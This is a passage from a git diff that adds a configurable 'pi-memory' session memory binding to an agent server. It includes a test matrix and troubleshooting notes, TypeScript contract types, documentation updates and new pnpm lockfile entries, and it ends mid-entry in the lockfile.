`GET /api/global-memory`. + +--- + +## 10. Pass/fail matrix + +| Case | Precondition | Pass criterion | +| ------------------ | ------------------------- | ---------------------------------------------------------------- | +| Preflight (§3) | — | `memory_status` reports qmd + collection present | +| A — local (§4) | pi-memory bind | marker round-trips in one session | +| B — shared (§5) | mount + `root` into mount | marker in #1 read in #2; absent in #3; symlinked #4 rejected | +| C — knobs (§6) | config set | `search:false` removes search; `qmdUpdate:off` still round-trips | +| D — composite (§7) | composite bind | note preamble present **and** pi-memory search works | +| E — escape (§8) | bad `root` | binding ignored; baseline SimpleMD only; no external write | +| F — fallback (§9) | no binding | SimpleMD only; no pi-memory tools | + +Cases A/B/D's **search** sub-assertions require qmd. If the preflight reports qmd +missing, mark those `N/A (no qmd)` rather than failing. + +--- + +## 11. Troubleshooting + +| Symptom | Likely cause | Fix | +| --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `memory_status` says qmd not installed | `qmd` not on the **server** PATH | Install `@tobilu/qmd`; put the global bin dir on the service PATH; restart the server. | +| Search empty right after a write | Background index not yet refreshed, or `qmdUpdate:"off"`/`"manual"` | Use `memory_read` for the immediate assertion; allow a short delay for background indexing, or trigger a manual embed. | +| Session #2 cannot see #1's fact | `root` not pointing into the mount, or different `mountName`/`folderId` | Ensure both sessions mount the **same** `folderId` and use the **same** `root` (`"/pi-memory"`). | +| No reply stream on socket | Not joined, or CORS/handshake rejected | Emit `chat:join` first; add your origin to `EMBED_ALLOWED_ORIGINS`. | +| 404 on create | Unknown `bundleId` | Pick an id from `GET /api/agent-bundles`. | +| Search returns files from another store | Server not on a build with per-store qmd indexes, or a Pi started by an earlier build | Deploy the current build and restart every Pi. On hosts that ran the earlier build, remove the stale global collection (`qmd collection remove pi-memory`; its index lives in `~/.cache/qmd/index.sqlite`). New spawns never read it, but it explains cross-session hits seen before the upgrade. | +| pi-memory tools missing unexpectedly | `root` rejected by the path guard (incl. a symlink out of the allowed folders), `root` points into a mount not seeded at create, a `.qmd/index.yml` at or above the session root, or `search:false` | Check server logs for `dropping pi-memory`, `ignoring invalid memory binding`, or `qmd would use the project-local config`; seed the mount in the create request; remove the stray `.qmd/`. | + +--- + +## 12. Appendix — minimal end-to-end sketch + +Pseudo-flow a host app implements (auth header omitted; add if required): + +``` +# pick a bundle +GET {BASE_URL}/api/agent-bundles -> bundleId + +# shared folder +POST {BASE_URL}/api/shared-folders {name} -> FID + +# writer session +POST {BASE_URL}/api/sessions { + bundleId, resources:[{kind:"mount",folderId:FID,mountName:"project"}], + memory:{kind:"pi-memory",root:"project/pi-memory"} +} -> sid1 + +# socket: write +connect {BASE_URL}/socket.io +emit chat:join {sessionId: sid1} +emit chat:message {sessionId: sid1, content: "memory_write ... VERIFY- ..."} +await agent:end + +# reader session (same folder + root) +POST {BASE_URL}/api/sessions { bundleId, resources:[mount FID], memory:{pi-memory root} } -> sid2 +emit chat:join {sessionId: sid2} +emit chat:message {sessionId: sid2, content: "memory_search VERIFY-, echo verbatim"} +await agent:end -> assert text contains VERIFY- + +# cleanup +DELETE {BASE_URL}/api/sessions/{sid1} +DELETE {BASE_URL}/api/sessions/{sid2} +``` diff --git a/docs/server/sessions-and-storage.md b/docs/server/sessions-and-storage.md index a73a9ace..6f56d84a 100644 --- a/docs/server/sessions-and-storage.md +++ b/docs/server/sessions-and-storage.md @@ -56,19 +56,19 @@ The relational state lives in [db/schema.ts](../../apps/server/src/store/db/sche Chat history is deliberately **not** a table — it stays as JSONL on disk. Schema changes go exclusively through drizzle migrations; never alter tables ad-hoc. -| Table | Holds | -| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `sessions` | one row per session (mirrors the `Session` wire contract, plus `archived`, `user_identity`). | -| `session_assets` | pinned artifacts, scoped to a session, oldest-first. | -| `participants` | the roster: session-scoped actor identities (`human` / `agent` / `automation`), capabilities, presence, and each agent's connector facets + `agent_payload`. | -| `conversations` | per-Conversation `seq` counter and its owning agent; maps a Conversation id to its transcript. | -| `memberships` | a `(participant, conversation)` attachment: reaction spec, ingress, transcript visibility. | -| `runs` | one unit of work by one participant: status, ingress, home conversation, external id, cursor. | -| `resources` | the catalog: `file` / `memory` / `attachment` / `artifact` / `host` / `mount`, pointing at bytes by `uri`. | -| `resource_references` | a resource surfaced into a Conversation (surfacing + citation, not a filesystem gate). | -| `resource_grants` | per-Membership refinement of a reference; default-permissive (an empty table changes nothing). | -| `shared_folders` | cross-session "project" folders a session mounts (by symlink) into its root. Not session-scoped — no FK to `sessions`; bytes live under `SHARED_ROOT/`. | -| `session_views` | when each user last opened a session. | +| Table | Holds | +| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `sessions` | one row per session (mirrors the `Session` wire contract, plus `archived`, `user_identity`, server-only `env`, and a serialized `MemoryBinding` in `memory`). | +| `session_assets` | pinned artifacts, scoped to a session, oldest-first. | +| `participants` | the roster: session-scoped actor identities (`human` / `agent` / `automation`), capabilities, presence, and each agent's connector facets + `agent_payload`. | +| `conversations` | per-Conversation `seq` counter and its owning agent; maps a Conversation id to its transcript. | +| `memberships` | a `(participant, conversation)` attachment: reaction spec, ingress, transcript visibility. | +| `runs` | one unit of work by one participant: status, ingress, home conversation, external id, cursor. | +| `resources` | the catalog: `file` / `memory` / `attachment` / `artifact` / `host` / `mount`, pointing at bytes by `uri`. | +| `resource_references` | a resource surfaced into a Conversation (surfacing + citation, not a filesystem gate). | +| `resource_grants` | per-Membership refinement of a reference; default-permissive (an empty table changes nothing). | +| `shared_folders` | cross-session "project" folders a session mounts (by symlink) into its root. Not session-scoped — no FK to `sessions`; bytes live under `SHARED_ROOT/`. A pure mount point — a session's memory binding may point its store into one to share it. | +| `session_views` | when each user last opened a session. | `participants` is the roster's only store. The old `session_agents` table (and its deprecated `host` column) is gone; `SessionStore.listAgents` / @@ -141,6 +141,12 @@ folder is **not** session-scoped — it outlives any session and has no FK to `{ name? }`; returns `{ folder }`. - `GET /api/shared-folders` — list every folder, oldest-first. +A shared folder is a pure mount point and carries no memory itself. Memory is a +**session** attribute (`sessions.memory`): a session's [memory +binding](./memory.md) may point its store's `root` at a mounted folder's path to +share the store across every session that mounts it, or omit `root` to keep it +session-local. + **Mounting** reuses the resource-seeding pipeline rather than a bespoke endpoint: a mount is a `HostResourceInput` of `kind: "mount"`, so it can be passed at session create (`POST /api/sessions` `resources: [...]`) or added later diff --git a/packages/embed-react/src/index.ts b/packages/embed-react/src/index.ts index 74309ff1..d32b0ad3 100644 --- a/packages/embed-react/src/index.ts +++ b/packages/embed-react/src/index.ts @@ -21,9 +21,11 @@ export type { HostResourceInput, HostUIComponentMap, HostUIComponentProps, + MemoryBinding, MessageDelivery, NewSessionOptions, NewSessionResult, + PiMemoryConfig, TangentThemeInputs, } from "./types"; export { type Tangent, useTangent } from "./useTangent"; diff --git a/packages/embed-react/src/types.ts b/packages/embed-react/src/types.ts index a30131be..e4484d78 100644 --- a/packages/embed-react/src/types.ts +++ b/packages/embed-react/src/types.ts @@ -163,6 +163,36 @@ export type HostResourceInput = mountName?: string; }; +/** + * Tunable knobs for a `"pi-memory"` {@link MemoryBinding}. Omitted fields keep + * the extension's defaults (every hook and qmd update on). Mirrors the server's + * `PiMemoryConfig`. + */ +export interface PiMemoryConfig { + /** LLM-powered exit summary on session end. Default `true`. */ + exitSummary?: boolean; + /** Context-injection snapshot mode. Default `"stable"`. */ + snapshot?: "stable" | "per-turn"; + /** Background qmd index update cadence. Default `"background"`. */ + qmdUpdate?: "background" | "manual" | "off"; + /** Whether `memory_search` (qmd) is offered. Default `true`. */ + search?: boolean; + /** `provider/model` override for the exit summary; defaults to the session model. */ + exitSummaryModel?: string; +} + +/** + * Declarative memory configuration for a session, overriding the bundle's + * default. A leaf's optional `root` is a session-root-relative POSIX path; point + * it into a mounted shared folder (e.g. `"/pi-memory"`) to share the + * store across every session that mounts the folder. Mirrors the server's + * `MemoryBinding`. + */ +export type MemoryBinding = + | { kind: "simple-md"; root?: string } + | { kind: "pi-memory"; root?: string; config?: PiMemoryConfig } + | { kind: "composite"; children: MemoryBinding[] }; + /** Host-driven theme inputs forwarded to ``. */ export interface TangentThemeInputs { /** `system` follows the host's `prefers-color-scheme`. Defaults to `light`. */ @@ -203,6 +233,11 @@ export interface NewSessionOptions { * hosts so every session in the project can reach them. Stored server-side. */ tags?: string[]; + /** + * Memory binding for the session, overriding the bundle's default. Resolved + * after `resources` are seeded, so a `root` may point into a `mount`. + */ + memory?: MemoryBinding; } export interface NewSessionResult { diff --git a/packages/shared/src/configBundle.ts b/packages/shared/src/configBundle.ts index 8322222e..0e80a9d8 100644 --- a/packages/shared/src/configBundle.ts +++ b/packages/shared/src/configBundle.ts @@ -11,7 +11,7 @@ * Phase 1 defines the format only; runtime wiring (install/spawn) arrives later. */ -import type { ThinkingLevel } from "./contracts.ts"; +import type { MemoryBinding, ThinkingLevel } from "./contracts.ts"; /** * Manifest schema version. Bump this integer when a change to {@link @@ -204,6 +204,13 @@ export interface BundleManifest { contextFiles?: string[]; /** Explicit seed memory files (`memory/*.md`). */ memory?: string[]; + /** + * Default memory binding for sessions created from this bundle (how the + * agent's pluggable memory is wired). `CreateSessionRequest.memory` overrides + * it. Distinct from {@link BundleManifest.memory}, which lists seed markdown + * files copied into the workspace. + */ + memoryBinding?: MemoryBinding; /** Explicit custom tool extension paths (`tools/*.ts`). */ extensions?: string[]; /** Optional software requirements keyed by package manager. */ diff --git a/packages/shared/src/contracts.ts b/packages/shared/src/contracts.ts index e0155d54..d0878fb9 100644 --- a/packages/shared/src/contracts.ts +++ b/packages/shared/src/contracts.ts @@ -315,6 +315,41 @@ export const PI_AGENT: ChatAuthor = { */ export type MemoryScope = "session" | "global"; +/** + * Tunable knobs for a {@link MemoryBinding} of kind `"pi-memory"`, mapped onto + * the pi-memory extension's env. Omitted fields default to "max memory power" + * (every hook and qmd update on). The memory adapter is session configuration, + * so these let a session tune pi-memory precisely. + */ +export interface PiMemoryConfig { + /** LLM-powered exit summary on session end. Default `true`. */ + exitSummary?: boolean; + /** Context-injection snapshot mode. Default `"stable"`. */ + snapshot?: "stable" | "per-turn"; + /** Background qmd index update cadence. Default `"background"`. */ + qmdUpdate?: "background" | "manual" | "off"; + /** Whether `memory_search` (qmd) is offered. Default `true`. */ + search?: boolean; + /** `provider/model` override for the exit summary; defaults to the session model. */ + exitSummaryModel?: string; +} + +/** + * Declarative memory configuration for a session: a bundle supplies a default + * and `CreateSessionRequest.memory` overrides it. The server resolves it into a + * pluggable memory backend tree at spawn time. Scoped to these leaves for now — + * LLM Wiki / StructuredEntity are not yet supported. + * + * The directory-backed leaves take an optional `root`: a session-root-relative + * POSIX path for the store's directory. Omit it to keep the store local to the + * session; point it at a mounted shared folder (e.g. `"/pi-memory"`) + * to share that store across every session that mounts the folder. + */ +export type MemoryBinding = + | { kind: "simple-md"; root?: string } + | { kind: "pi-memory"; root?: string; config?: PiMemoryConfig } + | { kind: "composite"; children: MemoryBinding[] }; + /** * Author attributed to the system-emitted "remembered" highlight messages. The * highlight is produced by the server from the actual memory file write (not the @@ -1470,6 +1505,11 @@ export interface CreateSessionRequest { env?: Record; /** Selector tags (e.g. `projectId:`) to route selector-scoped hosts. */ tags?: string[]; + /** + * Memory binding for the session, overriding the bundle's default. Omit to use + * the bundle's declared binding (or none). Resolved and persisted at create. + */ + memory?: MemoryBinding; } export interface UpdateSessionRequest { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 8e390078..815bcbe2 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -131,6 +131,9 @@ importers: multer: specifier: ^2.1.1 version: 2.1.1 + pi-memory: + specifier: 0.4.2 + version: 0.4.2(@earendil-works/pi-ai@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3))(@earendil-works/pi-coding-agent@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(zod@4.4.3)) socket.io: specifier: ^4.8.3 version: 4.8.3 @@ -273,7 +276,7 @@ importers: version: 7.29.7(@babel/core@7.29.7) '@rolldown/plugin-babel': specifier: ^0.2.3 - version: 0.2.3(@babel/core@7.29.7)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) + version: 0.2.3(@babel/core@7.29.7)(@babel/runtime@7.29.10)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) '@tailwindcss/vite': specifier: ^4.3.0 version: 4.3.0(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) @@ -300,7 +303,7 @@ importers: version: 19.2.3(@types/react@19.2.15) '@vitejs/plugin-react': specifier: ^6.0.2 - version: 6.0.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)))(babel-plugin-react-compiler@1.0.0)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) + version: 6.0.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/runtime@7.29.10)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)))(babel-plugin-react-compiler@1.0.0)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) babel-plugin-react-compiler: specifier: ^1.0.0 version: 1.0.0 @@ -674,6 +677,95 @@ packages: peerDependencies: zod: ^3.25.0 || ^4.0.0 + '@anthropic-ai/sdk@0.129.0': + resolution: {integrity: sha512-MH7LB20kNpGLUpPTe2OG5XvL/KhX8HUO9XyBaFjgFk6TLS4Xjt0VPIuMKywe7POKKPslX+QxSlVok9e+8kG5Nw==, tarball: https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.129.0.tgz} + hasBin: true + peerDependencies: + zod: ^3.25.0 || ^4.0.0 + peerDependenciesMeta: + zod: + optional: true + + '@aws-sdk/client-bedrock-runtime@3.1127.0': + resolution: {integrity: sha512-IDl/lrPb90aH+pZFHGNDmgH9nAUQj5PlZH1sJ3w7RikctyjHSnY3oNjZhrLoaBoQn/rNK0zsP6OHEqEhj2tdLA==, tarball: https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1127.0.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/core@3.978.7': + resolution: {integrity: sha512-QsYdn5xhvEBzcDC6bgKuvPv87kFtXK/3f5NqKfR+eok5AAn7RaZnkgBKncX+UW3ZMcjSELyAMATN0iqgZmvWVg==, tarball: https://registry.npmjs.org/@aws-sdk/core/-/core-3.978.7.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-env@3.972.77': + resolution: {integrity: sha512-CN6dQCDo32a8n2gvm2HBeqGV5BNI9noG96nTj5bGO2HWtt0Rucu/A8pcnJIqkzILOHSuilnCk0Do8/7h6SOXhQ==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.77.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-http@3.972.79': + resolution: {integrity: sha512-Netsu0nnmvP2HiN1ZFQBeUu+JehQIuubqz+j2kHDgeSE4HDzniCpIZ7RzoWABq+LTcbCi9W03hywifUagoVIWQ==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.79.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-ini@3.973.22': + resolution: {integrity: sha512-x7/5h58cqOoZR0RWUZC7v/cJOADQR42iSIQkvU+00HVHR4jh8ZpqEgRPGf2zei59iH5qP40lL3bkq49PuWl71g==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.973.22.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-login@3.972.85': + resolution: {integrity: sha512-UHjnTeS+5OBFfRL+BQwCGJPJvnzjhGD6dIwncBJDa+ziyQjPUte9Q0I4BCkybGrHotnyiiluXj13bgelP14J5Q==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.85.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-node@3.972.89': + resolution: {integrity: sha512-O8xj7/sanrnXfFHu/LUujVBiiwn5mknYenU7xt1w6+yvhR1QoDZWXLFh1gLITaFVPtb1jWgEirC+kFNw+//tyw==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.89.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-process@3.972.77': + resolution: {integrity: sha512-sWA8Jm+ASzkTxoqLizHWRbt8Gj3yZCmZ0hYdvg0uIxuLzWseYcfrDFzaSnkRWlEWSJV38rAWFimdrN0J4NR7Pg==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.77.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-sso@3.973.21': + resolution: {integrity: sha512-KV2LM8fbYUhDzGEBnPwb+ISNfNlhmnpLS+y6A6VsJpg1EI9aUJ0+dRTxh2GrGdneFH0T4TiuboHxz8i6+M38JA==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.973.21.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/credential-provider-web-identity@3.972.83': + resolution: {integrity: sha512-iekYilmo2Re51fC7gMkEfZ7jFDXwehSCmXjDESaYQsdgYhsLQFG7rTYr3GBvRIyj+Fkda2NxbZX7hAZDaFD0JQ==, tarball: https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.83.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/eventstream-handler-node@3.972.39': + resolution: {integrity: sha512-V+AvQ+KFWApgm9134igy78cgoCEAFfV8K3KmlVi511vjkRWAgvy0tGUePrZsER+9EvrmUWEsrA2NBQspiGVBMQ==, tarball: https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.39.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/middleware-eventstream@3.972.34': + resolution: {integrity: sha512-0IUoHM9N75uMaf70Tj2l+qmOSNw8HaDCsoghPRnewMaaPJjdSxzFaCpPBFDmSWuSlc0gBgv4CsvvvPGoBAD4Bg==, tarball: https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.34.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/middleware-websocket@3.972.59': + resolution: {integrity: sha512-lpLmEPrmRSG1ev+LqxkOn1JfVGclnS9b5hvGaSoBgS0JxW2u3QXsJuu+KTHvhdFrRohsqzl70cuiHhyUHFSjYQ==, tarball: https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.59.tgz} + engines: {node: '>= 14.0.0'} + + '@aws-sdk/nested-clients@3.997.52': + resolution: {integrity: sha512-/bNl6b3VEoWQg3Z8yHt3gzYjSFoOOv7+eUglzITmGP8H7jovN8c9NoOI+6bU25+lSLvyRpJOs4n8YSaX+BcUPg==, tarball: https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.52.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/signature-v4-multi-region@3.996.50': + resolution: {integrity: sha512-Ob9GCZ3YnGPws696zTYW/rLFYHa9QLh6DgTCnkHb+0jhHNBgHWM8Ui2b+yrIjkfDsRVsglyrOey6tOOG/VWxMA==, tarball: https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.50.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/token-providers@3.1127.0': + resolution: {integrity: sha512-Dv2TMWBshJ+tF6ahs2Sy5bh4Iabsd4GAQqVvE9XZmYmnoaVbpS2QKIKE/HRacc7bTtbjEEvP+laGzHvHlf1CiQ==, tarball: https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1127.0.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/token-providers@3.1157.0': + resolution: {integrity: sha512-AeAzcwWRP2uANO2TjFpKjRdvOCzgfIu6YQl9Ceibd6E0gnq5dfOzujFnq2aeqgbLg4wRtXbUZE4gekCCPrz/OQ==, tarball: https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1157.0.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/types@3.975.0': + resolution: {integrity: sha512-WQlhs6juByzWOzj5fwxOx0mPJaEqMcG/sDpl3Id61B3XhKE63xY+0QWcnG+sWR/sCfprmreyUo1lM7IKZmHMzw==, tarball: https://registry.npmjs.org/@aws-sdk/types/-/types-3.975.0.tgz} + engines: {node: '>=20.0.0'} + + '@aws-sdk/xml-builder@3.972.42': + resolution: {integrity: sha512-smX8/gNP8Kjq+CWTBMZQLQ912vOQjiWExzwzvMO+eujPB5RY8IbtF0AGdUUXHKN7KoDWK9dIcuW0WG269kiP6w==, tarball: https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.42.tgz} + engines: {node: '>=20.0.0'} + + '@aws/lambda-invoke-store@0.3.0': + resolution: {integrity: sha512-sl4Bm6yiMNYrZKkqqDFWN0UfnWhlS8ivKxrYl+6t0gCLrqr8y3B2IqZZbFRkfaVVp7C/baApyh71P+LeE1A2sQ==, tarball: https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.3.0.tgz} + engines: {node: '>=18.0.0'} + '@babel/code-frame@7.29.7': resolution: {integrity: sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==, tarball: https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz} engines: {node: '>=6.9.0'} @@ -779,6 +871,10 @@ packages: peerDependencies: '@babel/core': ^7.0.0-0 + '@babel/runtime@7.29.10': + resolution: {integrity: sha512-NpugTzbKgGrNe45Ui32cN8vCFFMxVtP/9rtfwv0nP5FRDAjvYBxJcLVpYA9mr1jxP6cnIT7x9LUzuDTbWYYNRA==, tarball: https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.10.tgz} + engines: {node: '>=6.9.0'} + '@babel/template@7.29.7': resolution: {integrity: sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==, tarball: https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz} engines: {node: '>=6.9.0'} @@ -794,6 +890,36 @@ packages: '@drizzle-team/brocli@0.10.2': resolution: {integrity: sha512-z33Il7l5dKjUgGULTqBsQBQwckHh5AbIuxhdsIxDDiZAzBOrZO6q9ogcWC65kU382AfynTfgNumVcNIjuIua6w==, tarball: https://registry.npmjs.org/@drizzle-team/brocli/-/brocli-0.10.2.tgz} + '@earendil-works/pi-agent-core@1.4.0': + resolution: {integrity: sha512-PoKY84SKUwnt7S5QBZaGUqfNO1kjP3KHpHUA9QpFTj4cOjaVWMYIcBPJ6FDRCdE8Zen9OSECQUd0uUfVgtSmgA==, tarball: https://registry.npmjs.org/@earendil-works/pi-agent-core/-/pi-agent-core-1.4.0.tgz} + engines: {node: '>=22.19.0'} + + '@earendil-works/pi-ai@1.4.0': + resolution: {integrity: sha512-hQM/C4+1w8rHYACzDDf+0vQMnEnpzIop1tptIERVgR3ZeT/hHSzBNG8PaWPgxWQjqSeKCyBZSyp8uTT6eKK1pQ==, tarball: https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-1.4.0.tgz} + engines: {node: '>=22.19.0'} + hasBin: true + + '@earendil-works/pi-codemode@1.4.0': + resolution: {integrity: sha512-23CNAXpS9DuLzPMyYuvrXVVio46x4YhffCgCqaWmF7F5H8PooqjrQvX4ucF6M0BhUd+x2tV6r1J0dv8cCME4Cg==, tarball: https://registry.npmjs.org/@earendil-works/pi-codemode/-/pi-codemode-1.4.0.tgz} + engines: {node: '>=22.19.0'} + + '@earendil-works/pi-coding-agent@1.4.0': + resolution: {integrity: sha512-Z41LpZ3yYHSC/UUps6Mr39UMFPwH8elhJBG9DY1P7kuzsE5qSK/6eMj2EHzO5evJRQWLbKSqUMw+4nCNtIyiQg==, tarball: https://registry.npmjs.org/@earendil-works/pi-coding-agent/-/pi-coding-agent-1.4.0.tgz} + engines: {node: '>=22.19.0'} + hasBin: true + + '@earendil-works/pi-mcp@1.4.0': + resolution: {integrity: sha512-92aZmmGsUpHHknYuKXZHRINQfahntw5hU9If0I0ZM49GojOaFHpkl5/GF3/aatqpt7v7GjZbBfpfSygGKW+pnw==, tarball: https://registry.npmjs.org/@earendil-works/pi-mcp/-/pi-mcp-1.4.0.tgz} + engines: {node: '>=22.19.0'} + + '@earendil-works/pi-telemetry@1.4.0': + resolution: {integrity: sha512-MLIfowwUYIY65jSjMX82paZOrX/NTvLk6D08h+3Jq42a99RzUOewzuCR0zOlPul3D6UBfddat76VT6LvsHEs1w==, tarball: https://registry.npmjs.org/@earendil-works/pi-telemetry/-/pi-telemetry-1.4.0.tgz} + engines: {node: '>=22.19.0'} + + '@earendil-works/pi-tui@1.4.0': + resolution: {integrity: sha512-4obPOjgOD7g4mGSlngIvxyujC1UPdmyI9zdVthbr8GufacFEX+Ce0+scPgHg++k2xj5+QjESM2d5TxvIuzCVmg==, tarball: https://registry.npmjs.org/@earendil-works/pi-tui/-/pi-tui-1.4.0.tgz} + engines: {node: '>=22.19.0'} + '@emnapi/core@1.10.0': resolution: {integrity: sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==, tarball: https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz} @@ -1465,6 +1591,15 @@ packages: '@floating-ui/utils@0.2.11': resolution: {integrity: sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg==, tarball: https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.11.tgz} + '@google/genai@2.21.0': + resolution: {integrity: sha512-+PDtco2/Z0ONdzCGekCoCT+O1VJS9xJQNN4XzQpXG/t3El/SWWMkCWlFRO1KmivOHPa4Q0VjUYu1HBKCZ/v33Q==, tarball: https://registry.npmjs.org/@google/genai/-/genai-2.21.0.tgz} + engines: {node: '>=20.0.0'} + peerDependencies: + '@modelcontextprotocol/sdk': ^1.25.2 + peerDependenciesMeta: + '@modelcontextprotocol/sdk': + optional: true + '@humanfs/core@0.19.2': resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==, tarball: https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz} engines: {node: '>=18.18.0'} @@ -1520,6 +1655,33 @@ packages: '@preact/signals-core@1.14.2': resolution: {integrity: sha512-RZHdBj9ZF4n40Rp4jS052EHHjBWf96P9oNdXPfhQTovCuWY9iQn3Gq+gOTJSgBO9A/JBuPfMOWsSX/lIU9Pc/A==, tarball: https://registry.npmjs.org/@preact/signals-core/-/signals-core-1.14.2.tgz} + '@protobufjs/aspromise@1.1.2': + resolution: {integrity: sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==, tarball: https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz} + + '@protobufjs/base64@1.1.2': + resolution: {integrity: sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==, tarball: https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz} + + '@protobufjs/codegen@2.0.5': + resolution: {integrity: sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==, tarball: https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz} + + '@protobufjs/eventemitter@1.1.1': + resolution: {integrity: sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==, tarball: https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz} + + '@protobufjs/fetch@1.1.1': + resolution: {integrity: sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==, tarball: https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz} + + '@protobufjs/float@1.0.2': + resolution: {integrity: 